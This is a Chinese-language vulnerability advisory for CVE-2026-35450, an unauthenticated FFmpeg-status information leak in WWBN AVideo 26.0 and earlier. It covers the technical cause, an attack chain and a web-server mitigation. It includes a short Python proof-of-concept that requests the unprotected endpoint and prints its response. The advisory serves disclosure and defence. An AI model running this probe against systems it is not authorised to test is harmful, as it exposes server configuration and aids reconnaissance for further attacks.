IPBUF安全漏洞报告
English
CVE-2026-35450 CVSS 5.3 中危

CVE-2026-35450 AVideo未授权信息泄露漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35450
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

信息泄露未授权访问权限绕过WWBN AVideoCVE-2026-35450

漏洞概述

WWBN AVideo是一款开源视频平台。在26.0及更早版本中,`plugin/API/check.ffmpeg.json.php`端点存在安全缺陷。该端点允许未经身份验证的攻击者探测FFmpeg远程服务器配置并获取连接状态信息。虽然同级的其他管理端点都需要管理员权限,但该特定端点缺乏权限检查,导致敏感服务状态信息泄露。

技术细节

该漏洞的核心在于权限校验逻辑的不一致。WWBN AVideo中处理FFmpeg管理功能的多个端点(如`kill.ffmpeg.json.php`、`list.ffmpeg.json.php`等)均通过调用`User::isAdmin()`方法来确保请求者具有管理员权限。然而,`plugin/API/check.ffmpeg.json.php`这一特定端点在实现时遗漏了这一关键的安全检查。当攻击者构造指向该路径的网络请求时,后端脚本直接执行探测逻辑,尝试连接配置的远程FFmpeg服务器,并将连接状态、配置参数等敏感信息直接返回给请求者。由于缺乏身份验证(PR:N)且无需用户交互(UI:N),任何能够访问目标网络的攻击者均可利用此漏洞探测服务器后端服务的部署情况,为进一步的攻击提供信息支持。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在运行WWBN AVideo平台,版本为26.0或更早。
STEP 2
漏洞探测
攻击者向`/plugin/API/check.ffmpeg.json.php`端点发送未经身份验证的HTTP请求。
STEP 3
信息获取
服务器响应请求,返回FFmpeg远程服务器的连接状态和配置信息,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_poc(target_url): """ PoC for CVE-2026-35450: Unauthenticated access to FFmpeg check endpoint. """ # The vulnerable endpoint path endpoint = "/plugin/API/check.ffmpeg.json.php" full_url = f"{target_url}{endpoint}" try: # Send request without authentication headers response = requests.get(full_url, timeout=10) if response.status_code == 200: print(f"[+] Target is vulnerable: {target_url}") print(f"[+] Response content: {response.text}") else: print(f"[-] Target may not be vulnerable. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_poc(target)

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议立即在Web服务器(如Nginx或Apache)配置文件中添加规则,拦截对`/plugin/API/check.ffmpeg.json.php`路径的外部访问请求,直到完成版本升级。同时,检查系统日志,确认是否已有针对该接口的未授权访问记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表